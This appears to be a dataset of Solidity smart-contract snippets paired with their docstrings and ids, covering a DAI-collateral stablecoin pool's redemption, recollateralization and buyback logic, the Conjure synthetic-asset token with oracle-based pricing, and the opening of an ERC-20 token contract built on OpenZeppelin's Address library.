notRedeemPaused { updateOraclePrice(); uint256 global_collateral_ratio = USE.global_collateral_ratio(); require(global_collateral_ratio < COLLATERAL_RATIO_MAX && global_collateral_ratio > 0, "Collateral ratio needs to be between .000001 and .999999"); global_collateral_ratio = global_collateral_ratio.mul(redemption_gcr_adj).div(PRECISION); uint256 use_amount_post_tax = (use_amount.mul(uint(1e6).sub(redemptionTax()))).div(PRICE_PRECISION); uint256 shares_dollar_value_d18 = use_amount_post_tax.sub(use_amount_post_tax.mul(global_collateral_ratio).div(PRICE_PRECISION)); uint256 shares_amount = shares_dollar_value_d18.mul(PRICE_PRECISION).div(USE.share_price()); // Need to adjust for decimals of collateral uint256 use_amount_precision = use_amount_post_tax.div(10 ** missing_decimals); uint256 collateral_dollar_value = use_amount_precision.mul(global_collateral_ratio).div(PRICE_PRECISION); uint256 collateral_amount = collateral_dollar_value.mul(PRICE_PRECISION).div(getCollateralPrice()); require(collateral_amount <= getCollateralAmount(), "Not enough collateral in pool"); require(COLLATERAL_out_min <= collateral_amount, "Slippage limit reached [collateral]"); require(shares_out_min <= shares_amount, "Slippage limit reached [Shares]"); community_rate_in_use = community_rate_in_use.add(use_amount.mul(community_rate_ratio).div(PRECISION)); redeemCollateralBalances[msg.sender] = redeemCollateralBalances[msg.sender].add(collateral_amount); unclaimedPoolCollateral = unclaimedPoolCollateral.add(collateral_amount); redeemSharesBalances[msg.sender] = redeemSharesBalances[msg.sender].add(shares_amount); unclaimedPoolShares = unclaimedPoolShares.add(shares_amount); lastRedeemed[msg.sender] = block.number; // Move all external functions to the end USE.pool_burn_from(msg.sender, use_amount); SHARE.pool_mint(address(this), shares_amount); require(redemptionOpened() == true,"Redeem amount too large !"); } // After a redemption happens, transfer the newly minted Shares and owed collateral from this pool // contract to the user. Redemption is split into two functions to prevent flash loans from being able // to take out USE/collateral from the system, use an AMM to trade the new price, and then mint back into the system. function collectRedemption() external onlyOneBlock{ require((lastRedeemed[msg.sender].add(redemption_delay)) <= block.number, "Must wait for redemption_delay blocks before collecting redemption"); bool sendShares = false; bool sendCollateral = false; uint sharesAmount; uint CollateralAmount; // Use Checks-Effects-Interactions pattern if(redeemSharesBalances[msg.sender] > 0){ sharesAmount = redeemSharesBalances[msg.sender]; redeemSharesBalances[msg.sender] = 0; unclaimedPoolShares = unclaimedPoolShares.sub(sharesAmount); sendShares = true; } if(redeemCollateralBalances[msg.sender] > 0){ CollateralAmount = redeemCollateralBalances[msg.sender]; redeemCollateralBalances[msg.sender] = 0; unclaimedPoolCollateral = unclaimedPoolCollateral.sub(CollateralAmount); sendCollateral = true; } if(sendShares == true){ SHARE.transfer(msg.sender, sharesAmount); } if(sendCollateral == true){ collateral_token.transfer(msg.sender, CollateralAmount); } } // When the protocol is recollateralizing, we need to give a discount of Shares to hit the new CR target // Thus, if the target collateral ratio is higher than the actual value of collateral, minters get Shares for adding collateral // This function simply rewards anyone that sends collateral to a pool with the same amount of Shares + the bonus rate // Anyone can call this function to recollateralize the protocol and take the extra Shares value from the bonus rate as an arb opportunity function recollateralizeUSE(uint256 collateral_amount, uint256 shares_out_min) external onlyOneBlock { require(recollateralizePaused == false, "Recollateralize is paused"); updateOraclePrice(); uint256 collateral_amount_d18 = collateral_amount * (10 ** missing_decimals); uint256 share_price = USE.share_price(); uint256 use_total_supply = USE.totalSupply().sub(global_use_supply_adj); uint256 global_collateral_ratio = USE.global_collateral_ratio(); uint256 global_collat_value = USE.globalCollateralValue(); (uint256 collateral_units, uint256 amount_to_recollat) = calcRecollateralizeUSEInner( collateral_amount_d18, getCollateralPrice(), global_collat_value, use_total_supply, global_collateral_ratio ); uint256 collateral_units_precision = collateral_units.div(10 ** missing_decimals); uint256 shares_paid_back = amount_to_recollat.mul(uint(1e6).add(bonus_rate).sub(recollat_tax)).div(share_price); require(shares_out_min <= shares_paid_back, "Slippage limit reached"); community_rate_in_share = community_rate_in_share.add(shares_paid_back.mul(community_rate_ratio).div(PRECISION)); collateral_token.transferFrom(msg.sender, address(this), collateral_units_precision); SHARE.pool_mint(msg.sender, shares_paid_back); } // Function can be called by an Shares holder to have the protocol buy back Shares with excess collateral value from a desired collateral pool // This can also happen if the collateral ratio > 1 function buyBackShares(uint256 shares_amount, uint256 COLLATERAL_out_min) external onlyOneBlock { require(buyBackPaused == false, "Buyback is paused"); updateOraclePrice(); uint256 share_price = USE.share_price(); BuybackShares_Params memory input_params = BuybackShares_Params( availableExcessCollatDV(), share_price, getCollateralPrice(), shares_amount ); (uint256 collateral_equivalent_d18) = (calcBuyBackShares(input_params)).mul(uint(1e6).sub(buyback_tax)).div(1e6); uint256 collateral_precision = collateral_equivalent_d18.div(10 ** missing_decimals); require(COLLATERAL_out_min <= collateral_precision, "Slippage limit reached"); community_rate_in_share = community_rate_in_share.add(shares_amount.mul(community_rate_ratio).div(PRECISION)); // Give the sender their desired collateral and burn the Shares SHARE.pool_burn_from(msg.sender, shares_amount); collateral_token.transfer(msg.sender, collateral_precision); } /* ========== RESTRICTED FUNCTIONS ========== */ function toggleMinting() external { require(hasRole(MINT_PAUSER, msg.sender)); mintPaused = !mintPaused; } function toggleRedeeming() external { require(hasRole(REDEEM_PAUSER, msg.sender)); redeemPaused = !redeemPaused; } function toggleRecollateralize() external { require(hasRole(RECOLLATERALIZE_PAUSER, msg.sender)); recollateralizePaused = !recollateralizePaused; } function toggleBuyBack() external { require(hasRole(BUYBACK_PAUSER, msg.sender)); buyBackPaused = !buyBackPaused; } function toggleCollateralPrice(uint256 _new_price) external { require(hasRole(COLLATERAL_PRICE_PAUSER, msg.sender)); // If pausing, set paused price; else if unpausing, clear pausedPrice if(collateralPricePaused == false){ pausedPrice = _new_price; } else { pausedPrice = 0; } collateralPricePaused = !collateralPricePaused; } function toggleCommunityInSharesRate(uint256 _rate) external{ require(community_rate_in_share>0,"No SHARE rate"); require(hasRole(COMMUNITY_RATER, msg.sender)); uint256 _amount_rate = community_rate_in_share.mul(_rate).div(PRECISION); community_rate_in_share = community_rate_in_share.sub(_amount_rate); SHARE.pool_mint(msg.sender,_amount_rate); } function toggleCommunityInUSERate(uint256 _rate) external{ require(community_rate_in_use>0,"No USE rate"); require(hasRole(COMMUNITY_RATER, msg.sender)); uint256 _amount_rate_use = community_rate_in_use.mul(_rate).div(PRECISION); community_rate_in_use = community_rate_in_use.sub(_amount_rate_use); uint256 _share_price_use = USE.share_price_in_use(); uint256 _amount_rate = _amount_rate_use.mul(PRICE_PRECISION).div(_share_price_use); SHARE.pool_mint(msg.sender,_amount_rate); } // Combined into one function due to 24KiB contract memory limit function setPoolParameters(uint256 new_ceiling, uint256 new_bonus_rate, uint256 new_redemption_delay, uint256 new_buyback_tax, uint256 new_recollat_tax, uint256 use_supply_adj) external onlyByOwnerOrGovernance { pool_ceiling = new_ceiling; bonus_rate = new_bonus_rate; redemption_delay = new_redemption_delay; buyback_tax = new_buyback_tax; recollat_tax = new_recollat_tax; global_use_supply_adj = use_supply_adj; } function setMintingParameters(uint256 _ratioLevel, uint256 _tax_base, uint256 _tax_multiplier) external onlyByOwnerOrGovernance{ minting_required_reserve_ratio = _ratioLevel; minting_tax_base = _tax_base; minting_tax_multiplier = _tax_multiplier; } function setRedemptionParameters(uint256 _ratioLevel, uint256 _tax_base, uint256 _tax_multiplier, uint256 _tax_exponent, uint256 _redeem_gcr_adj) external onlyByOwnerOrGovernance{ redemption_required_reserve_ratio = _ratioLevel; redemption_tax_base = _tax_base; redemption_tax_multiplier = _tax_multiplier; redemption_tax_exponent = _tax_exponent; redemption_gcr_adj = _redeem_gcr_adj; } function setTimelock(address new_timelock) external onlyByOwnerOrGovernance { timelock_address = new_timelock; } function setOwner(address _owner_address) external onlyByOwnerOrGovernance { owner_address = _owner_address; } function setCommunityParameters(address _community_address,uint256 _ratio) external onlyByOwnerOrGovernance { community_address = _community_address; community_rate_ratio = _ratio; } /* ========== EVENTS ========== */ } // File: contracts\USE\Pools\USEPoolDAI.sol // License: MIT contract USEPoolDAI is USEPool { address public DAI_address; constructor( address _use_contract_address, address _shares_contract_address, address _collateral_address, address _creator_address, address _timelock_address, address _community_address ) USEPool(_use_contract_address, _shares_contract_address, _collateral_address, _creator_address, _timelock_address,_community_address) public { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); DAI_address = _collateral_address; } // Returns the price of the pool collateral in USD function getCollateralPrice() public view override returns (uint256) { if(collateralPricePaused == true){ return pausedPrice; } else { //Only For Dai return 1 * PRICE_PRECISION; } } }
Must be internal because of the struct If the total collateral value is higher than the amount required at the current collateral ratio then buy back up to the possible Shares with the desired collateral Make sure not to take more than is available Get the equivalent amount of collateral based on the market value of Shares providedcollateral_equivalent_d18 = collateral_equivalent_d18.sub((collateral_equivalent_d18.mul(params.buyback_fee)).div(1e6));
function calcBuyBackShares(BuybackShares_Params memory params) public pure returns (uint256) { require(params.excess_collateral_dollar_value_d18 > 0, "No excess collateral to buy back!"); uint256 shares_dollar_value_d18 = params.shares_amount.mul(params.shares_price_usd).div(1e6); require(shares_dollar_value_d18 <= params.excess_collateral_dollar_value_d18, "You are trying to buy back more than the excess!"); uint256 collateral_equivalent_d18 = shares_dollar_value_d18.mul(1e6).div(params.col_price_usd); return ( collateral_equivalent_d18 ); }
10,485,673
./full_match/83/0x48ef19252C6c59c5CF1e5Bd87DAeE0A2c5BA7cEE/sources/contracts/CToken/CErc20.sol
Gets balance of this contract in terms of the underlying This excludes the value of the current message, if any return The quantity of underlying tokens owned by this contract/
function getCashPrior() internal view override virtual returns (uint256) { ICToken token = ICToken(underlying); return token.balanceOf(address(this)); }
9,556,539
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; pragma experimental ABIEncoderV2; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol"; import {IERC20} from "./interfaces/IERC20.sol"; import {IOpenOracleFramework} from "./interfaces/IOpenOracleFramework.sol"; import "./lib/FixedPoint.sol"; import "./interfaces/IEtherCollateral.sol"; /// @author Conjure Finance Team /// @title Conjure /// @notice Contract to define and track the price of an arbitrary synth contract Conjure is IERC20, ReentrancyGuard { // using Openzeppelin contracts for SafeMath and Address using SafeMath for uint256; using Address for address; using FixedPoint for FixedPoint.uq112x112; using FixedPoint for FixedPoint.uq144x112; // presenting the total supply uint256 internal _totalSupply; // representing the name of the token string internal _name; // representing the symbol of the token string internal _symbol; // representing the decimals of the token uint8 internal constant DECIMALS = 18; // a record of balance of a specific account by address mapping(address => uint256) private _balances; // a record of allowances for a specific address by address to address mapping mapping(address => mapping(address => uint256)) private _allowances; // the owner of the contract address payable public _owner; // the type of the arb asset (single asset, arb asset) // 0... single asset (uses median price) // 1... basket asset (uses weighted average price) // 2... index asset (uses token address and oracle to get supply and price and calculates supply * price / divisor) // 3 .. sqrt index asset (uses token address and oracle to get supply and price and calculates sqrt(supply * price) / divisor) uint256 public _assetType; // the address of the collateral contract factory address public _factoryContract; // the address of the collateral contract address public _collateralContract; // struct for oracles struct _oracleStruct { address oracleaddress; address tokenaddress; // 0... chainLink, 1... UniSwap T-wap, 2... custom uint256 oracleType; string signature; bytes calldatas; uint256 weight; uint256 decimals; uint256 values; } // array for oracles _oracleStruct[] public _oracleData; // number of oracles uint256 public _numoracles; // the latest observed price uint256 internal _latestobservedprice; // the latest observed price timestamp uint256 internal _latestobservedtime; // the divisor for the index uint256 public _indexdivisor; // the modifier if the asset type is an inverse type bool public _inverse; // shows the init state of the contract bool public _inited; // the modifier if the asset type is an inverse type uint256 public _deploymentPrice; // maximum decimal size for the used prices uint256 private constant MAXIMUM_DECIMALS = 18; // The number representing 1.0 uint256 private constant UNIT = 10**18; // the eth usd price feed oracle address address public ethUsdOracle; // lower boundary for inverse assets (10% of deployment price) uint256 public inverseLowerCap; // ========== EVENTS ========== event NewOwner(address newOwner); event Issued(address indexed account, uint256 value); event Burned(address indexed account, uint256 value); event AssetTypeSet(uint256 value); event IndexDivisorSet(uint256 value); event PriceUpdated(uint256 value); event InverseSet(bool value); event NumOraclesSet(uint256 value); // only owner modifier modifier onlyOwner { _onlyOwner(); _; } // only owner view function _onlyOwner() private view { require(msg.sender == _owner, "Only the contract owner may perform this action"); } constructor() { // Don't allow implementation to be initialized. _factoryContract = address(1); } /** * @dev initializes the clone implementation and the Conjure contract * * @param nameSymbol array holding the name and the symbol of the asset * @param conjureAddresses array holding the owner, indexed UniSwap oracle and ethUsdOracle address * @param factoryAddress_ the address of the factory * @param collateralContract the EtherCollateral contract of the asset */ function initialize( string[2] memory nameSymbol, address[] memory conjureAddresses, address factoryAddress_, address collateralContract ) external { require(_factoryContract == address(0), "already initialized"); require(factoryAddress_ != address(0), "factory can not be null"); require(collateralContract != address(0), "collateralContract can not be null"); _owner = payable(conjureAddresses[0]); _name = nameSymbol[0]; _symbol = nameSymbol[1]; ethUsdOracle = conjureAddresses[1]; _factoryContract = factoryAddress_; // mint new EtherCollateral contract _collateralContract = collateralContract; emit NewOwner(_owner); } /** * @dev inits the conjure asset can only be called by the factory address * * @param inverse_ indicated it the asset is an inverse asset or not * @param divisorAssetType array containing the divisor and the asset type * @param oracleAddresses_ the array holding the oracle addresses 1. address to call, * 2. address of the token for supply if needed * @param oracleTypesValuesWeightsDecimals array holding the oracle types,values,weights and decimals * @param signatures_ array holding the oracle signatures * @param callData_ array holding the oracle callData */ function init( bool inverse_, uint256[2] memory divisorAssetType, address[][2] memory oracleAddresses_, uint256[][4] memory oracleTypesValuesWeightsDecimals, string[] memory signatures_, bytes[] memory callData_ ) external { require(msg.sender == _factoryContract, "can only be called by factory contract"); require(!_inited, "Contract already inited"); require(divisorAssetType[0] != 0, "Divisor should not be 0"); _assetType = divisorAssetType[1]; _numoracles = oracleAddresses_[0].length; _indexdivisor = divisorAssetType[0]; _inverse = inverse_; emit AssetTypeSet(_assetType); emit IndexDivisorSet(_indexdivisor); emit InverseSet(_inverse); emit NumOraclesSet(_numoracles); uint256 weightCheck; // push the values into the oracle struct for further processing for (uint i = 0; i < oracleAddresses_[0].length; i++) { require(oracleTypesValuesWeightsDecimals[3][i] <= 18, "Decimals too high"); _oracleData.push(_oracleStruct({ oracleaddress: oracleAddresses_[0][i], tokenaddress: oracleAddresses_[1][i], oracleType: oracleTypesValuesWeightsDecimals[0][i], signature: signatures_[i], calldatas: callData_[i], weight: oracleTypesValuesWeightsDecimals[2][i], values: oracleTypesValuesWeightsDecimals[1][i], decimals: oracleTypesValuesWeightsDecimals[3][i] })); weightCheck += oracleTypesValuesWeightsDecimals[2][i]; } // for basket assets weights must add up to 100 if (_assetType == 1) { require(weightCheck == 100, "Weights not 100"); } updatePrice(); _deploymentPrice = getLatestPrice(); // for inverse assets set boundaries if (_inverse) { inverseLowerCap = _deploymentPrice.div(10); } _inited = true; } /** * @dev lets the EtherCollateral contract instance burn synths * * @param account the account address where the synths should be burned to * @param amount the amount to be burned */ function burn(address account, uint amount) external { require(msg.sender == _collateralContract, "Only Collateral Contract"); _internalBurn(account, amount); } /** * @dev lets the EtherCollateral contract instance mint new synths * * @param account the account address where the synths should be minted to * @param amount the amount to be minted */ function mint(address account, uint amount) external { require(msg.sender == _collateralContract, "Only Collateral Contract"); _internalIssue(account, amount); } /** * @dev Internal function to mint new synths * * @param account the account address where the synths should be minted to * @param amount the amount to be minted */ function _internalIssue(address account, uint amount) internal { _balances[account] = _balances[account].add(amount); _totalSupply = _totalSupply.add(amount); emit Transfer(address(0), account, amount); emit Issued(account, amount); } /** * @dev Internal function to burn synths * * @param account the account address where the synths should be burned to * @param amount the amount to be burned */ function _internalBurn(address account, uint amount) internal { _balances[account] = _balances[account].sub(amount); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); emit Burned(account, amount); } /** * @dev lets the owner change the contract owner * * @param _newOwner the new owner address of the contract */ function changeOwner(address payable _newOwner) external onlyOwner { require(_newOwner != address(0), "_newOwner can not be null"); _owner = _newOwner; emit NewOwner(_newOwner); } /** * @dev lets the owner collect the fees accrued */ function collectFees() external onlyOwner { _owner.transfer(address(this).balance); } /** * @dev gets the latest price of an oracle asset * uses chainLink oracles to get the price * * @return the current asset price */ function getLatestPrice(AggregatorV3Interface priceFeed) internal view returns (uint) { ( , int price, , , ) = priceFeed.latestRoundData(); return uint(price); } /** * @dev gets the latest ETH USD Price from the given oracle OOF contract * getFeed 0 signals the ETH/USD feed * * @return the current eth usd price */ function getLatestETHUSDPrice() public view returns (uint) { ( uint price, , ) = IOpenOracleFramework(ethUsdOracle).getFeed(0); return price; } /** * @dev implementation of a quicksort algorithm * * @param arr the array to be sorted * @param left the left outer bound element to start the sort * @param right the right outer bound element to stop the sort */ function quickSort(uint[] memory arr, int left, int right) internal pure { int i = left; int j = right; if (i == j) return; uint pivot = arr[uint(left + (right - left) / 2)]; while (i <= j) { while (arr[uint(i)] < pivot) i++; while (pivot < arr[uint(j)]) j--; if (i <= j) { (arr[uint(i)], arr[uint(j)]) = (arr[uint(j)], arr[uint(i)]); i++; j--; } } if (left < j) quickSort(arr, left, j); if (i < right) quickSort(arr, i, right); } /** * @dev implementation to get the average value of an array * * @param arr the array to be averaged * @return the (weighted) average price of an asset */ function getAverage(uint[] memory arr) internal view returns (uint) { uint sum = 0; // do the sum of all array values for (uint i = 0; i < arr.length; i++) { sum += arr[i]; } // if we dont have any weights (single asset with even array members) if (_assetType == 0) { return (sum / arr.length); } // index pricing we do division by divisor if ((_assetType == 2) || (_assetType == 3)) { return sum / _indexdivisor; } // divide by 100 cause the weights sum up to 100 and divide by the divisor if set (defaults to 1) return ((sum / 100) / _indexdivisor); } /** * @dev sort implementation which calls the quickSort function * * @param data the array to be sorted * @return the sorted array */ function sort(uint[] memory data) internal pure returns (uint[] memory) { quickSort(data, int(0), int(data.length - 1)); return data; } /** * @dev implementation of a square rooting algorithm * babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) * * @param y the value to be square rooted * @return z the square rooted value */ function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = (y + 1) / 2; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } else { z = 0; } } /** * @dev gets the latest recorded price of the synth in USD * * @return the last recorded synths price */ function getLatestPrice() public view returns (uint) { return _latestobservedprice; } /** * @dev gets the latest recorded price time * * @return the last recorded time of a synths price */ function getLatestPriceTime() external view returns (uint) { return _latestobservedtime; } /** * @dev gets the latest price of the synth in USD by calculation and write the checkpoints for view functions */ function updatePrice() public { uint256 returnPrice = updateInternalPrice(); bool priceLimited; // if it is an inverse asset we do price = _deploymentPrice - (current price - _deploymentPrice) // --> 2 * deployment price - current price // but only if the asset is inited otherwise we return the normal price calculation if (_inverse && _inited) { if (_deploymentPrice.mul(2) <= returnPrice) { returnPrice = 0; } else { returnPrice = _deploymentPrice.mul(2).sub(returnPrice); // limit to lower cap if (returnPrice <= inverseLowerCap) { priceLimited = true; } } } _latestobservedprice = returnPrice; _latestobservedtime = block.timestamp; emit PriceUpdated(_latestobservedprice); // if price reaches 0 we close the collateral contract and no more loans can be opened if ((returnPrice <= 0) || (priceLimited)) { IEtherCollateral(_collateralContract).setAssetClosed(true); } else { // if the asset was set closed we open it again for loans if (IEtherCollateral(_collateralContract).getAssetClosed()) { IEtherCollateral(_collateralContract).setAssetClosed(false); } } } /** * @dev gets the latest price of the synth in USD by calculation --> internal calculation * * @return the current synths price */ function updateInternalPrice() internal returns (uint) { require(_oracleData.length > 0, "No oracle feeds supplied"); // storing all in an array for further processing uint[] memory prices = new uint[](_oracleData.length); for (uint i = 0; i < _oracleData.length; i++) { // chainLink oracle if (_oracleData[i].oracleType == 0) { AggregatorV3Interface priceFeed = AggregatorV3Interface(_oracleData[i].oracleaddress); prices[i] = getLatestPrice(priceFeed); // norming price if (MAXIMUM_DECIMALS != _oracleData[i].decimals) { prices[i] = prices[i] * 10 ** (MAXIMUM_DECIMALS - _oracleData[i].decimals); } } // custom oracle and UniSwap else { string memory signature = _oracleData[i].signature; bytes memory callDatas = _oracleData[i].calldatas; bytes memory callData; if (bytes(signature).length == 0) { callData = callDatas; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), callDatas); } (bool success, bytes memory data) = _oracleData[i].oracleaddress.call{value:_oracleData[i].values}(callData); require(success, "Call unsuccessful"); // UniSwap V2 use NDX Custom Oracle call if (_oracleData[i].oracleType == 1) { FixedPoint.uq112x112 memory price = abi.decode(data, (FixedPoint.uq112x112)); // since this oracle is using token / eth prices we have to norm it to usd prices prices[i] = price.mul(getLatestETHUSDPrice()).decode144(); } else { prices[i] = abi.decode(data, (uint)); // norming price if (MAXIMUM_DECIMALS != _oracleData[i].decimals) { prices[i] = prices[i] * 10 ** (MAXIMUM_DECIMALS - _oracleData[i].decimals); } } } // for market cap and sqrt market cap asset types if (_assetType == 2 || _assetType == 3) { // get total supply for indexes uint tokenTotalSupply = IERC20(_oracleData[i].tokenaddress).totalSupply(); uint tokenDecimals = IERC20(_oracleData[i].tokenaddress).decimals(); // norm total supply if (MAXIMUM_DECIMALS != tokenDecimals) { require(tokenDecimals <= 18, "Decimals too high"); tokenTotalSupply = tokenTotalSupply * 10 ** (MAXIMUM_DECIMALS - tokenDecimals); } // index use market cap if (_assetType == 2) { prices[i] = (prices[i].mul(tokenTotalSupply) / UNIT); } // sqrt market cap if (_assetType == 3) { // market cap prices[i] =prices[i].mul(tokenTotalSupply) / UNIT; // sqrt market cap prices[i] = sqrt(prices[i]); } } // if we have a basket asset we use weights provided if (_assetType == 1) { prices[i] = prices[i] * _oracleData[i].weight; } } uint[] memory sorted = sort(prices); /// for single assets return median if (_assetType == 0) { // uneven so we can take the middle if (sorted.length % 2 == 1) { uint sizer = (sorted.length + 1) / 2; return sorted[sizer-1]; // take average of the 2 most inner numbers } else { uint size1 = (sorted.length) / 2; uint[] memory sortedMin = new uint[](2); sortedMin[0] = sorted[size1-1]; sortedMin[1] = sorted[size1]; return getAverage(sortedMin); } } // else return average for arb assets return getAverage(sorted); } /** * ERC 20 Specific Functions */ /** * receive function to receive funds */ receive() external payable {} /** * @dev Returns the name of the token. */ function name() external override view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() external override view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() external override pure returns (uint8) { return DECIMALS; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() external override view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. Uses burn abstraction for balance updates without gas and universally. */ function balanceOf(address account) external override view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address dst, uint256 rawAmount) external override returns (bool) { uint256 amount = rawAmount; _transfer(msg.sender, dst, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) external override view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address src, address dst, uint256 rawAmount) external override returns (bool) { address spender = msg.sender; uint256 spenderAllowance = _allowances[src][spender]; uint256 amount = rawAmount; if (spender != src && spenderAllowance != uint256(-1)) { uint256 newAllowance = spenderAllowance.sub( amount, "CONJURE::transferFrom: transfer amount exceeds spender allowance" ); _allowances[src][spender] = newAllowance; } _transfer(src, dst, amount); return true; } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address sender, address recipient, uint256 amount ) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
Returns the number of decimals used to get its user representation. For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5,05` (`505 / 10 2`. NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic of the contract, including {IERC20-balanceOf} and {IERC20-transfer}./
function decimals() external override pure returns (uint8) { return DECIMALS; }
13,042,487
/** *Submitted for verification at Etherscan.io on 2021-07-20 */ //Telegram Community : https://t.me/newshepardrocket // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded.s * 